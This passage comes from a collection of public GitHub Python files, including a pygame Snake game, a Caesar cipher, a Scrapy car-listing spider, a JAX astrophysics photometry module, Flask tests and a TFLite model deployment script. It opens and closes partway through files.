BLOCK_SIZE // 2,\n ),\n ]\n\n\n #draws body and head\n def draw(self):\n head = self.body[0]\n \n #draws head\n pygame.draw.rect(\n SCREEN,\n WHITE,\n pygame.Rect(\n head.x * BLOCK_SIZE,\n head.y * BLOCK_SIZE,\n BLOCK_SIZE,\n BLOCK_SIZE,\n )\n )\n\n #draws body\n for body in self.body[1:]:\n pygame.draw.rect(\n SCREEN,\n BLUE,\n pygame.Rect(\n body.x * BLOCK_SIZE,\n body.y * BLOCK_SIZE,\n BLOCK_SIZE,\n BLOCK_SIZE,\n )\n )\n\n\n #moves body after head\n def move(self, dx, dy):\n for idx in range(len(self.body) - 1, 0, -1):\n self.body[idx].x = self.body[idx - 1].x\n self.body[idx].y = self.body[idx - 1].y\n\n self.body[0].x += dx\n self.body[0].y += dy\n\n #finishes the game when snake bites itself\n for idx in range(len(self.body) - 1, 0, -1):\n if self.body[idx].x == self.body[0].x and self.body[idx].y == self.body[0].y:\n game_over()\n\n #keeps snake in playing area\n if self.body[0].x > WIDTH // BLOCK_SIZE:\n game_over()\n elif self.body[0].x < 0:\n game_over()\n elif self.body[0].y < 0:\n game_over()\n elif self.body[0].y >= HEIGHT // BLOCK_SIZE:\n game_over()\n\n\n #checks if food is eaten\n def check_collision(self, food):\n if food.location.x != self.body[0].x:\n return False\n if food.location.y != self.body[0].y:\n return False\n return True\n\nclass Food: #defines foods\n def __init__(self, x, y):\n self.location = Point(x, y)\n\n \n def draw(self): #draws food rectangles\n pygame.draw.rect(\n SCREEN,\n GREEN,\n pygame.Rect(\n self.location.x * BLOCK_SIZE,\n self.location.y * BLOCK_SIZE,\n BLOCK_SIZE,\n BLOCK_SIZE,\n )\n )\n \n\n def generate_new(self, snake_body):\n self.location.x = random.randint(0, WIDTH // BLOCK_SIZE - 1)\n self.location.y = random.randint(0, HEIGHT // BLOCK_SIZE - 1)\n\n #checks if food fell on snake's body, if true: generates again and checks from the beginning \n for idx in range(len(snake_body) - 1, 0, -1):\n if self.location.x == snake_body[idx].x and self.location.y == snake_body[idx].y:\n self.location.x = random.randint(0, WIDTH // BLOCK_SIZE - 1)\n self.location.y = random.randint(0, HEIGHT // BLOCK_SIZE - 1)\n idx = len(snake_body) - 1\n\n\n\n\ndef draw_grid():\n #draw cells\n for x in range(0, WIDTH, BLOCK_SIZE):\n pygame.draw.line(SCREEN, WHITE, start_pos=(x, 0), end_pos=(x, HEIGHT), width=1)\n for y in range(0, HEIGHT, BLOCK_SIZE):\n pygame.draw.line(SCREEN, WHITE, start_pos=(0, y), end_pos=(WIDTH, y), width=1)\n\n #draw borders\n pygame.draw.line(SCREEN, RED, start_pos=(0, HEIGHT-1), end_pos=(WIDTH-1, HEIGHT-1), width=1) #bottom border\n pygame.draw.line(SCREEN, RED, start_pos=(0, 0), end_pos=(0, HEIGHT), width=1) #left border\n pygame.draw.line(SCREEN, RED, start_pos=(WIDTH-1, 0), end_pos=(WIDTH-1, HEIGHT-1), width=1) #right border\n pygame.draw.line(SCREEN, RED, start_pos=(0, 0), end_pos=(WIDTH, 0), width=1) #top border\n\n\ndef game_over():\n print(\"game over\")\n sys.exit()\n\ndef main():\n\n running = True\n snake = Snake()\n food = Food(5, 5)\n dx, dy = 0, 0\n prev = 'none'\n score = 0\n level = 0\n\n while running:\n\n for event in pygame.event.get():\n if event.type == pygame.QUIT:\n running = False\n\n #prev - forbids going backwards if length \n if event.type == pygame.KEYDOWN:\n if event.key == pygame.K_UP and prev != 'down':\n prev = 'up'\n dx, dy = 0, -1\n elif event.key == pygame.K_DOWN and prev != 'up':\n prev = 'down'\n dx, dy = 0, 1\n elif event.key == pygame.K_RIGHT and prev != 'left':\n prev = 'right'\n dx, dy = +1, 0\n elif event.key == pygame.K_LEFT and prev != 'right':\n prev = 'left'\n dx, dy = -1, 0\n elif event.key == pygame.K_q:\n running = False\n\n snake.move(dx, dy)\n\n #appending snake's body\n if snake.check_collision(food):\n score += 1\n level = score // 3\n\n food.generate_new(snake.body)\n snake.body.append(\n Point(snake.body[-1].x, snake.body[-1].y)\n )\n \n #snake can go backwards if len == 1\n if len(snake.body) == 1: prev = 'none'\n\n score_font = font.render('Score: ' + str(score), True, (255, 255, 255))\n level_font = font.render('Level: ' + str(level), True, (255, 255, 255))\n\n SCREEN.fill(BLACK)\n SCREEN.blit(score_font, (0, HEIGHT))\n SCREEN.blit(level_font, (WIDTH // 2, HEIGHT))\n\n snake.draw()\n food.draw()\n draw_grid()\n\n pygame.display.flip()\n clock.tick(2 * level + 5)\n\n\nif __name__ == '__main__':\n main()","repo_name":"ddilnaz/pp2-22B031177","sub_path":"tsis8/snake.py","file_name":"snake.py","file_ext":"py","file_size_in_byte":6137,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"37"} +{"seq_id":"21722670961","text":"class LinkedListNode:\n def __init__(self, value, next_node=None):\n self.value = value\n self.next_node = next_node\n\nclass LinkedList:\n def __init__(self, head=None):\n self.head = head\n\n def insert_at_beginning(self, value):\n new_node = LinkedListNode(value)\n new_node.next_node = self.head\n self.head = new_node\n\n def insert_at_end(self, value):\n new_node = LinkedListNode(value)\n if self.head is None:\n self.head = new_node\n return\n\n current_node = self.head\n while current_node.next_node is not None:\n current_node = current_node.next_node\n\n current_node.next_node = new_node\n\n def print_linked_list(self):\n current_node = self.head\n while current_node is not None:\n print(current_node.value, end=\" --> \")\n current_node = current_node.next_node\n print(\"None\")\n\n# Create a linked list and perform operations\nhead_node = LinkedListNode(5) # Example head node\nll = LinkedList(head_node)\nll.insert_at_end(10)\nll.insert_at_end(15)\nll.insert_at_beginning(2)\nll.insert_at_beginning(1)\nll.print_linked_list()\n","repo_name":"MwanikiN/exer-leetcode","sub_path":"linked_list.py","file_name":"linked_list.py","file_ext":"py","file_size_in_byte":1171,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"75129010666","text":"import pandas as pd\nimport yfinance as yf\n\nticker = \"DIS\"\ndis = yf.Ticker(ticker)\n# print(dis)\n# print(dis.ticker)\n# print(dis.history())\n# print(dis.info)\n# print(pd.Series(dis.info))\n# pd.Series(dis.info)\n\ndf = pd.Series(dis.info, name=\"DIS\").to_frame().T\n#print(df)\n\ntickers = [\"MSFT\", \"FB\"]\n# for i in tickers:\n# df.loc[\"{}\".format(i)] = pd.Series(yf.Ticker(i).info)\n\n# print(df)\n\n# print(dis.balance_sheet)\n# print(dis.financials)\n# print(dis.cashflow)\n\n\n# tickerG = [\"AAPL\", \"FB\", \"AMZN\"]\n\n# for i in tickerG:\n# yf.Ticker(i).financials.to_csv(\"{}.csv\".format(i))\n\ncalls = dis.option_chain()[0]\nprint(calls)\nputs = dis.option_chain()[1]\nprint(puts)","repo_name":"BellaBe/finance","sub_path":"ticker_obj.py","file_name":"ticker_obj.py","file_ext":"py","file_size_in_byte":661,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"10493201401","text":"alphabet = ['A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L',\\\n 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z']\n\nmessage = input(\"Input your message: \").upper()\nshif_number = int(input(\"Input a shift numer: \"))\n\ndef encrypt(param_message, param_shift_number):\n cipher_message = \"\"\n for char in param_message:\n if char in alphabet:\n position = alphabet.index(char)\n new_position = position + param_shift_number\n while new_position > 25:\n new_position = new_position - 26\n new_char = alphabet[new_position]\n cipher_message += new_char\n else:\n cipher_message += char\n return f\"The encoded message is {cipher_message}\"\n\necncoded_message = encrypt(message, shif_number)\nprint(ecncoded_message)","repo_name":"amaechijude/python-projects","sub_path":"cryptography/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":828,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"5312549227","text":"import scrapy\nimport pandas as pd\nfrom openpyxl.workbook import Workbook\nimport json\n\n\nclass Cars4Spider(scrapy.Spider):\n name = \"cars_spider\"\n start_urls = ['https://www.autotrader.co.uk/car-search?sort=price-asc&postcode=CF241NZ&radius=1500&include-delivery-option=on&page=1']\n\n def parse(self, response):\n\n set_selector = './/li[@class=\"search-page__result\"]'\n\n for car in response.xpath(set_selector):\n attribute_selector = './/ul[@class=\"listing-key-specs \"]//li/ text()'\n price_selector = './/*[@class=\"vehicle-price\"]/ text()'\n car_type_selector = './/a[@class=\"js-click-handler listing-fpa-link tracking-standard-link\"]/ text()'\n\n yield{\n 'type': list(filter(None, map(lambda s: s.strip(), car.xpath(car_type_selector).extract()))),\n 'attributes': car.xpath(attribute_selector).extract(),\n 'price': car.xpath(price_selector).extract(),\n }\n\n next_page_selector = './/a[@class=\"paginationMini--right__active\"]/@data-paginate'\n page_num = response.xpath(next_page_selector).extract_first()\n if int(page_num) >= 100: # limit number of pages for testing\n next_page = None\n else:\n next_page = f'https://www.autotrader.co.uk/car-search?sort=price-asc&postcode=CF241NZ&radius=1500&include-delivery-option=on&page={page_num}'\n\n if next_page:\n next_page = response.urljoin(next_page)\n yield scrapy.Request(next_page, callback=self.parse)\n\n\n\ndef data_to_json(attr_dict):\n filename = 'cars_4.json'\n try:\n with open(filename) as json_file:\n json_data = json.load(json_file)\n json_data['attrs'].append(attr_dict['attrs'][0])\n with open(filename, 'w') as json_file:\n json.dump(json_data, json_file)\n except FileNotFoundError: # create file\n with open(filename, 'w') as json_file:\n json.dump(attr_dict, json_file)\n\n\n\n\n\n# to run\n# scrapy runspider scraper.py\n# or, to export results to JSON:\n# scrapy crawl cars_spider -o cars_s.json","repo_name":"hagarz/car-listings-scraper","sub_path":"autotrade/autotrade/spiders/cars_spider.py","file_name":"cars_spider.py","file_ext":"py","file_size_in_byte":2102,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"9392488206","text":"import time\nfrom lxml import etree\nimport csv\nimport re\nfrom tqdm import tqdm\nimport requests\nimport json\nimport pandas as pd\nimport csv\nimport os\nimport re\nfrom tqdm import tqdm\nimport unicodedata\n\nfileadd = \"/Users/mengjiexu/Dropbox/edgar10k/10khtm/\"\nos.chdir(fileadd)\nfile_list = os.listdir(fileadd)\n\ndef locatese(file):\n with open(\"/Users/mengjiexu/Dropbox/edgar10k/locatese.csv\",'a') as f:\n g = csv.writer(f)\n\n data = open(file,'r').read()\n page = etree.HTML(data)\n mainlist = page.xpath(\"//*\")\n index = 0\n indexlist = []\n start = 0\n for unit in mainlist:\n index += 1\n if unit.xpath(\"name()\") == \"b\":\n indexlist.append(index)\n if unit.text!=None:\n if re.findall(\"subsequent event\", unit.text.lower()):\n start = index\n\n startpos = indexlist.index(start)\n end = indexlist[startpos+1]\n target = \"\"\n itemnum = 0\n for pos in range(start-1,end):\n if mainlist[pos].text:\n target = target + unicodedata.normalize('NFD',mainlist[pos].text).encode('ascii', 'ignore').decode('utf8') +\"\\n\"\n itemnum += 1\n\n g.writerow([file, itemnum, target])\n\nfor file in tqdm(file_list):\n try:\n locatese(file)\n except:\n pass\n","repo_name":"xumj2021/edgar10k","sub_path":"analyse10k-b.py","file_name":"analyse10k-b.py","file_ext":"py","file_size_in_byte":1358,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"766285047","text":"\"\"\"\n\"\"\"\nfrom dsps.cosmology import age_at_z\nfrom dsps.sed import calc_ssp_weights_sfh_table_lognormal_mdf\nfrom jax import jit as jjit\nfrom jax import numpy as jnp\nfrom jax import vmap\n\n_a = (None, 0, 0, None, None, None, 0)\ncalc_ssp_weights_sfh_table_lognormal_mdf_vmap = jjit(\n vmap(calc_ssp_weights_sfh_table_lognormal_mdf, in_axes=_a)\n)\n\n\ndef get_interpolated_photometry(\n ssp_z_table,\n ssp_restmag_table,\n ssp_obsmag_table,\n ssp_lgmet,\n ssp_lg_age,\n gal_t_table,\n gal_z_obs,\n gal_logsm_obs,\n gal_sfr_table,\n gal_lgmet_obs,\n gal_lgmet_scatter,\n cosmo_params,\n dust_trans_factors_obs=1.0,\n dust_trans_factors_rest=1.0,\n):\n \"\"\"Calculate restframe and observed photometry of galaxies in a lightcone\n\n Method is to interpolate precomputed photometry of SSP SEDs\n\n Parameters\n ----------\n ssp_z_table : array of shape (n_z_table_ssp, )\n Array must be monotonically increasing and bracket the range of gal_z_obs\n\n ssp_restmag_table : array of shape (n_z_table_ssp, n_met, n_age, n_rest_filters)\n\n ssp_obsmag_table : array of shape (n_z_table_ssp, n_met, n_age, n_obs_filters)\n\n ssp_lgmet : array of shape (n_met, )\n Array of log10(Z) of the SSP templates\n\n ssp_lg_age : array of shape (n_ages, )\n Array of log10(age/Gyr) of the SSP templates\n\n gal_t_table : array of shape (n_t_table_gals, )\n Age of the universe in Gyr\n\n gal_z_obs : array of shape (n_gals, )\n Redshift of each galaxy\n\n gal_logsm_obs : array of shape (n_gals, )\n Base-10 log of the stellar mass of each galaxy at z_obs\n\n gal_sfr_table : ndarray of shape (n_gals, n_t_table_gals)\n Star formation history of each galaxy in units of Msun/yr,\n tabulated at the input gal_t_table\n\n gal_lgmet_obs : array of shape (n_gals, )\n log10(Z) of each galaxy at z_obs\n\n gal_lgmet_scatter : float\n Lognormal scatter in the metallicity distribution function\n\n cosmo_params : 4-element tuple\n NamedTuple of cosmological parameters Om0, w0, wa, h\n\n dust_trans_factors_obs : array of shape (n_gals, n_obs_filters), optional\n Fraction of the flux transmitted by dust through each observer-frame filter\n Default behavior is 100% transmission in all bands\n\n dust_trans_factors_rest : array of shape (n_gals, n_rest_filters), optional\n Fraction of the flux transmitted by dust through each restframe filter\n Default behavior is 100% transmission in all bands\n\n Returns\n -------\n gal_obsmags : array of shape (n_gals, n_obs_filters)\n\n gal_restmags : array of shape (n_gals, n_rest_filters)\n\n gal_obsmags_nodust : array of shape (n_gals, n_obs_filters)\n\n gal_restmags_nodust : array of shape (n_gals, n_rest_filters)\n\n \"\"\"\n msg = \"ssp_z_table must be monotonically increasing\"\n assert jnp.all(jnp.diff(ssp_z_table) > 0), msg\n\n msg = \"Must have ssp_z_table.min() < gal_z_obs.min()\"\n assert jnp.all(ssp_z_table.min() < gal_z_obs.min()), msg\n\n msg = \"Must have ssp_z_table.max() > gal_z_obs.max()\"\n assert jnp.all(ssp_z_table.max() > gal_z_obs.max()), msg\n\n gal_t_obs = age_at_z(gal_z_obs, *cosmo_params)\n\n _res = calc_ssp_weights_sfh_table_lognormal_mdf_vmap(\n gal_t_table,\n gal_sfr_table,\n gal_lgmet_obs,\n gal_lgmet_scatter,\n ssp_lgmet,\n ssp_lg_age,\n gal_t_obs,\n )\n gal_weights, gal_lgmet_weights, gal_age_weights = _res\n\n ssp_obsmag_table_pergal = interpolate_ssp_photmag_table(\n gal_z_obs, ssp_z_table, ssp_obsmag_table\n )\n n_gals, n_met, n_age, n_obs_filters = ssp_obsmag_table_pergal.shape\n\n _w = gal_weights.reshape((n_gals, n_met, n_age, 1))\n ssp_obsflux_table_pergal = 10 ** (-0.4 * ssp_obsmag_table_pergal)\n\n gal_mstar_obs = (10**gal_logsm_obs).reshape((n_gals, 1))\n gal_obsflux_nodust = (\n jnp.sum(_w * ssp_obsflux_table_pergal, axis=(1, 2)) * gal_mstar_obs\n )\n gal_obsmags_nodust = -2.5 * jnp.log10(gal_obsflux_nodust)\n\n dust_trans_factors_obs = jnp.ones_like(gal_obsflux_nodust) * dust_trans_factors_obs\n\n gal_obsflux = gal_obsflux_nodust * dust_trans_factors_obs\n gal_obsmags = -2.5 * jnp.log10(gal_obsflux)\n\n n_met, n_age, n_rest_filters = ssp_restmag_table.shape\n ssp_restmag_table = ssp_restmag_table.reshape((1, n_met, n_age, n_rest_filters))\n ssp_restflux_table = 10 ** (-0.4 * ssp_restmag_table)\n\n gal_restflux_nodust = jnp.sum(_w * ssp_restflux_table, axis=(1, 2)) * gal_mstar_obs\n gal_restmags_nodust = -2.5 * jnp.log10(gal_restflux_nodust)\n\n dust_trans_factors_rest = (\n jnp.ones_like(gal_restflux_nodust) * dust_trans_factors_rest\n )\n gal_restflux = gal_restflux_nodust * dust_trans_factors_rest\n gal_restmags = -2.5 * jnp.log10(gal_restflux)\n\n return gal_obsmags, gal_restmags, gal_obsmags_nodust, gal_restmags_nodust\n\n\n@jjit\ndef interpolate_ssp_photmag_table(z_gals, z_table, ssp_photmag_table):\n iz_hi = jnp.searchsorted(z_table, z_gals)\n iz_lo = iz_hi - 1\n z_lo = z_table[iz_lo]\n z_hi = z_table[iz_hi]\n dz_bin = z_hi - z_lo\n dz = z_gals - z_lo\n w_lo = 1 - (dz / dz_bin)\n\n ssp_table_zlo = ssp_photmag_table[iz_lo]\n ssp_table_zhi = ssp_photmag_table[iz_hi]\n\n s = ssp_table_zlo.shape\n outshape = [s[0], *[1 for x in s[1:]]]\n w_lo = w_lo.reshape(outshape)\n\n gal_photmags = w_lo * ssp_table_zlo + (1 - w_lo) * ssp_table_zhi\n return gal_photmags\n","repo_name":"LSSTDESC/lsstdesc-diffsky","sub_path":"lsstdesc_diffsky/photometry_interpolation.py","file_name":"photometry_interpolation.py","file_ext":"py","file_size_in_byte":5436,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"2121767973","text":"from datetime import datetime\nfrom pathlib import PosixPath\n\nimport pytest\nfrom freezegun.api import freeze_time\n\nfrom aurorae.providers.utils import parse_args\n\n\n@freeze_time(datetime(2021, 7, 29, 13, 30, 50))\nclass TestUtils:\n def test_parse_args_with_input_and_output_filenames(self):\n argv = (\n \"aurorae/sample/spreadsheet_sample.xlsx \"\n \"--output_filename=filetest.txt\".split()\n )\n args = parse_args(argv)\n assert args.input_filename == PosixPath(\n \"aurorae/sample/spreadsheet_sample.xlsx\"\n )\n assert args.output_filename == PosixPath(\"filetest.txt\")\n\n def test_parse_args_invalid_input_filename(self):\n argv = (\n \"sample/invalid_spreadsheet.xlsx \" \"--output_filename=filetest.txt\".split()\n )\n\n with pytest.raises(SystemExit) as excinfo:\n parse_args(argv)\n assert str(excinfo.value) == r\"^The provided input file does not exist$\"\n\n def test_parse_args_default_output_filename(self):\n argv = \"aurorae/sample/spreadsheet_sample.xlsx\".split()\n args = parse_args(argv)\n assert args.output_filename == PosixPath(\"cnab240-2021-07-29T13:30:50.txt\")\n\n def test_only_accepts_txt_as_file_extension(self):\n argv = (\n \"aurorae/sample/spreadsheet_sample.xlsx \"\n \"--output_filename=filetest\".split()\n )\n\n with pytest.raises(SystemExit) as excinfo:\n parse_args(argv)\n assert str(excinfo.value) == r\"^Please provide a txt file as the output$\"\n","repo_name":"vintasoftware/aurorae","sub_path":"tests/providers/test_utils.py","file_name":"test_utils.py","file_ext":"py","file_size_in_byte":1559,"program_lang":"python","lang":"en","doc_type":"code","stars":18,"dataset":"github-code","pt":"37"} +{"seq_id":"13059154580","text":"\"\"\"\nTesting module for recipeshelf models. Using SQLAlchemy and Flask Testing\nmodules.\n\"\"\"\nimport sys\nimport unittest\nfrom flask import Flask\nfrom flask_testing import TestCase\nsys.path.insert(0, '../recipeshelf')\nfrom recipeshelf.models import db, User\n\n\nclass TestUserCreate(TestCase):\n SQLALCHEMY_DATABASE_URI = \"sqlite:///./test.db\"\n TESTING = True\n\n def create_app(self):\n app = Flask(__name__)\n app.config['TESTING'] = True\n app.config['SQLALCHEMY_DATABASE_URI'] = \"sqlite:///./test.db\"\n return app\n\n def setup(self):\n db.create_all()\n\n def teardown(self):\n db.session.remove()\n db.drop_all()\n\n def test_create(self):\n user = User('John Smith', 'changeme', 'mail@example.com')\n db.session.add(user)\n db.session.commit()\n assert user in db.session\n response = self.client.get(\"/\")\n\n\nif __name__ == '__main__':\n unittest.main()\n","repo_name":"EdgeJ/recipeshelf","sub_path":"tests/model_tests.py","file_name":"model_tests.py","file_ext":"py","file_size_in_byte":938,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"15450537743","text":"import networkx as nx\nfrom matplotlib import pyplot as plt\nfrom Utility import Connections\n\n# Funzione che permette di convertire la gerarchia di Graph in una immagine png e di salvarla con l'id dell'utente\ndef save_image(G, id):\n pos = nx.spring_layout(G, seed=100)\n nx.draw(G, pos, with_labels=True, node_size=1500, font_size=10)\n plt.savefig(id + \".jpg\")\n plt.close()\n\n\n# Funzione che permette di generare la gerarchia associata ad un utente\ndef getG(id):\n query = {'owner': id}\n hier = Connections.getHier().find_one(query, {\"Hier\": 1, \"_id\": 0})\n G = nx.DiGraph()\n for a in hier[\"Hier\"]:\n if a[\"belongsto\"] != \"\":\n G.add_edge(a[\"node\"], a[\"belongsto\"])\n return G","repo_name":"Alex-Cal/Server_JSON","sub_path":"Utility/HierarchyUtils.py","file_name":"HierarchyUtils.py","file_ext":"py","file_size_in_byte":712,"program_lang":"python","lang":"it","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"34805671413","text":"def print_formatted(number):\n w = len(format(n, 'b'))\n for i in range(1, n + 1):\n d = str(i).rjust(w)\n o = format(i, 'o').rjust(w)\n h = format(i, 'x').rjust(w).upper()\n b = format(i, 'b').rjust(w)\n print(d, o, h, b)\n\nif __name__ == '__main__':\n n = int(input())\n print_formatted(n)\n","repo_name":"JohnnySunkel/BlueSky","sub_path":"Basics/hr_string_formatting.py","file_name":"hr_string_formatting.py","file_ext":"py","file_size_in_byte":329,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"72398881707","text":"import sys\nimport copy\nimport json\nimport argparse\nimport random\nimport numpy as np\n\nfrom utils.logging.logger import log\nfrom utils.model import Model\n\ndef GetInputData(m: Model):\n from utils.benchmark import GetArraySizeFromShape\n\n input_size = GetArraySizeFromShape(m.input_shape)\n m.input_vector = np.array(\n np.random.random_sample(input_size), dtype=m.get_np_dtype(m.input_datatype)\n )\n\n\ndef GetInputTestDataModule(m: Model, dataset_module: str):\n module = __import__(dataset_module)\n for comp in dataset_module.split(\".\")[1:]:\n module = getattr(module, comp)\n dataset = module.GetData()[\"test_data\"]\n input_shape = module.GetInputShape()\n m.input_vector = random.choice(dataset)\n\n\ndef SplitForDeployment(model_path: str, model_summary: dict):\n from utils.splitter.split import Splitter\n\n # Create operation models/layers from the operations in the provided model\n splitter = Splitter(model_path, model_summary)\n try:\n log.info(\"Running Model Splitter ...\")\n splitter.Run(sequences=True)\n log.info(\"Splitting Process Complete!\\n\")\n except Exception as e:\n splitter.Clean(True)\n log.error(\"Failed to run splitter! {}\".format(str(e)))\n sys.exit(1)\n\n # Compiles created models/layers into Coral models for execution\n splitter.CompileForEdgeTPU(bm=False)\n log.info(\"Models successfully compiled!\")\n\n return splitter.model_layer_sequences\n\n\ndef DeployLayer(m: Model, platform: str):\n from utils.splitter.split import SUB_DIR, COMPILED_DIR\n from utils.benchmark import GetArraySizeFromShape\n from backend.distributed_inference import distributed_inference\n\n delegate_type = m.delegate[:3]\n delegate_index = int(m.delegate[-1])\n\n if delegate_type == \"tpu\":\n m.model_path = os.path.join(\n COMPILED_DIR,\n \"{}_edgetpu.tflite\".format(\n m.model_name),\n )\n else:\n m.model_path = os.path.join(\n SUB_DIR,\n \"tflite\",\n m.model_name,\n \"{0}.tflite\".format(\n m.model_name\n ),\n )\n\n output_size = GetArraySizeFromShape(m.output_shape)\n output_data_vector = np.zeros(output_size).astype(m.get_np_dtype(m.output_datatype))\n\n inference_times_vector = np.zeros(1).astype(np.uint32)\n\n try:\n mean_inference_time = distributed_inference(\n m.model_path,\n m.input_vector,\n output_data_vector,\n inference_times_vector,\n len(m.input_vector),\n len(output_data_vector),\n delegate_type,\n platform,\n 1,\n delegate_index\n )\n except Exception as e:\n log.error(f\"Failed to run distributed inference. Possible Error {e}\")\n\n m.output_vector = output_data_vector\n m.results = inference_times_vector.tolist()\n\n return m\n\n\ndef AnalyzeDeploymentResults(models: list) -> None:\n\n RESULTS_FOLDER = os.path.join(os.getcwd(), \"resources/deployment_results\")\n results_path = os.path.join(RESULTS_FOLDER, f\"{models[0].parent}.json\")\n\n if not os.path.isdir(RESULTS_FOLDER):\n import sys\n log.error(f\"{RESULTS_FOLDER} is not a valid folder to store results!\")\n os.mkdir(RESULTS_FOLDER)\n if not os.path.isdir(RESULTS_FOLDER):\n sys.exit(-1)\n\n result = dict()\n result[\"model_name\"] = models[0].parent\n result[\"submodels\"] = []\n result[\"total_inference_time (s)\"] = 0\n\n for m in models:\n submodel = dict()\n submodel[\"name\"] = m.model_name\n submodel[\"layers\"] = m.details\n submodel[\"inference_time (s)\"] = m.results[0] / 1000000000.0\n result[\"submodels\"].append(submodel)\n result[\"total_inference_time (s)\"] += m.results[0] / 1000000000.0\n\n with open(results_path, 'w') as json_file:\n json.dump(result, json_file, indent=4)\n\n\ndef DeployModel(model_path: str, model_summary_path: str, hw_summary_path: str, platform: str, data_module : str = None) -> None:\n from utils.splitter.utils import ReadJSON\n from utils.logging.logger import log\n\n model_name = (model_path.split(\"/\")[-1]).split(\".tflite\")[0]\n\n if model_summary_path is not None:\n try:\n model_summary = ReadJSON(model_summary_path)\n hardware_summary = ReadJSON(hw_summary_path)\n except Exception as e:\n log.error(f\"Exception occured while trying to read Model and HW Summary!\")\n\n multi_models_sequences = SplitForDeployment(model_path=model_path, model_summary=model_summary)\n\n models = []\n\n for i, model_sequences in enumerate(multi_models_sequences):\n for j, sequence in enumerate(model_sequences):\n layers = []\n for op in sequence:\n layers.append(model_summary[\"models\"][0][\"layers\"][op[0]])\n\n m = Model(layers, layers[0][\"mapping\"], model_name)\n\n if len(sequence) == 1:\n ops_range = sequence[0][0]\n else:\n ops_range = '-'.join(map(str, [sequence[0][0], sequence[-1][0]]))\n\n m.model_name = \"submodel_{0}_{1}_{2}\".format(j, f\"ops{ops_range}\", m.delegate)\n\n if j == 0:\n data_module = None\n if data_module == None:\n GetInputData(m)\n else:\n GetInputTestDataModule(m, dataset_module=data_module)\n elif j < len(model_sequences):\n m.input_vector = copy.deepcopy(models[len(models) - 1].output_vector)\n\n m = DeployLayer(m, platform)\n models.append(m)\n AnalyzeDeploymentResults(models=models)\n\n\ndef getArgs():\n parser = argparse.ArgumentParser(\n formatter_class=argparse.ArgumentDefaultsHelpFormatter\n )\n\n parser.add_argument(\n \"-m\",\n \"--model\",\n default=\"resources/models/example_models/MNIST_full_quanitization.tflite\",\n help=\"File path to the SOURCE .tflite file.\",\n )\n\n parser.add_argument(\n \"-s\",\n \"--summary\",\n default=\"resources/model_summaries/example_summaries/MNIST/MNIST_full_quanitization_summary_with_mappings.json\",\n help=\"File that contains a model summary with mapping annotations\"\n )\n\n parser.add_argument(\n \"-d\",\n \"--dataset\",\n default=\"utils.datasets.MNIST\",\n help=\"Dataset import module to be used for providing input data\"\n )\n\n parser.add_argument(\n \"-o\",\n \"--summaryoutputdir\",\n default=\"resources/model_summaries/example_summaries/MNIST\",\n help=\"Directory where model summary should be saved\",\n )\n\n parser.add_argument(\n \"-n\",\n \"--summaryoutputname\",\n default=\"MNIST_full_quanitization_summary_with_mappings\",\n help=\"Name that the model summary should have\",\n )\n\n parser.add_argument(\n \"-p\",\n \"--platform\",\n default=\"desktop\",\n help=\"Platform supporting the profiling/deployment process\",\n )\n \n return parser.parse_args()\n\nif __name__ == \"__main__\":\n import os\n\n args = getArgs()\n\n if args.summary:\n DeployModel(args.model, args.summary, args.platform, args.dataset)\n else:\n DeployModel(\n args.model,\n os.path.join(args.summaryoutputdir, \"{}.json\".format(args.summaryoutputname)),\n args.platform,\n args.dataset\n )\n","repo_name":"alxhoff/TensorDSE","sub_path":"deploy.py","file_name":"deploy.py","file_ext":"py","file_size_in_byte":7696,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"32699005975","text":"\nimport torch\nimport numpy as np\nfrom models.deep_set_freq import _preprocess_ragged_data, mask_data\nimport matplotlib.pyplot as plt\nimport simulators.on_off_sim as oosim\nimport scipy.stats as sps\n\ndef plot(simulator, trained_model, poi, hp, lrt_func, bins = None, Nbatch = 100):\n trained_model.eval()\n poi_scan = np.linspace(2,10,101)\n \n nuis = np.random.uniform(0.5,1.5)\n\n data = [simulator([poi,nuis], bins = bins) for i in range(Nbatch)]\n binned = bins is not None\n X,S,B = _preprocess_ragged_data(data,binned)\n\n sX,sS,sB = X[0],S[0],B[0]\n sX = torch.FloatTensor(sX.reshape(1,-1,1))\n sS = torch.FloatTensor(sS.reshape(1,-1,1))\n sB = torch.FloatTensor(sB.reshape(1,-1,1))\n\n m = mask_data(X)\n f,axarr = plt.subplots(1,5)\n f.set_facecolor('w')\n f.set_size_inches(20,4)\n\n scans = torch.cat([trained_model(X,p).detach() for p in poi_scan],dim=-1)\n \n ax = axarr[0]\n ax.plot(poi_scan,scans.T, c = 'k', alpha = 20/Nbatch);\n ax.set_ylim(0,1.2)\n\n ax = axarr[1]\n\n mle_pois = poi_scan[scans.argmin(dim=-1)]\n ax.hist(mle_pois, bins = np.linspace(2,10,31), density=True)\n ax.vlines(poi,0,1, colors = 'k')\n ax.set_ylim(0,1.2)\n\n ax = axarr[2]\n bins = np.linspace(-10,10,31)\n ax.hist(sX[:,:,0][mask_data(sX)], bins = bins, facecolor = 'k', alpha = 0.2, edgecolor = 'k');\n ax.hist(sS[:,:,0][mask_data(sS)], bins = bins, histtype = 'step', edgecolor = 'r');\n ax.hist(sB[:,:,0][mask_data(sB)], bins = bins, histtype = 'step', edgecolor = 'b', linestyle = 'dashed');\n\n xi = np.linspace(-10,10,1001)\n pp = 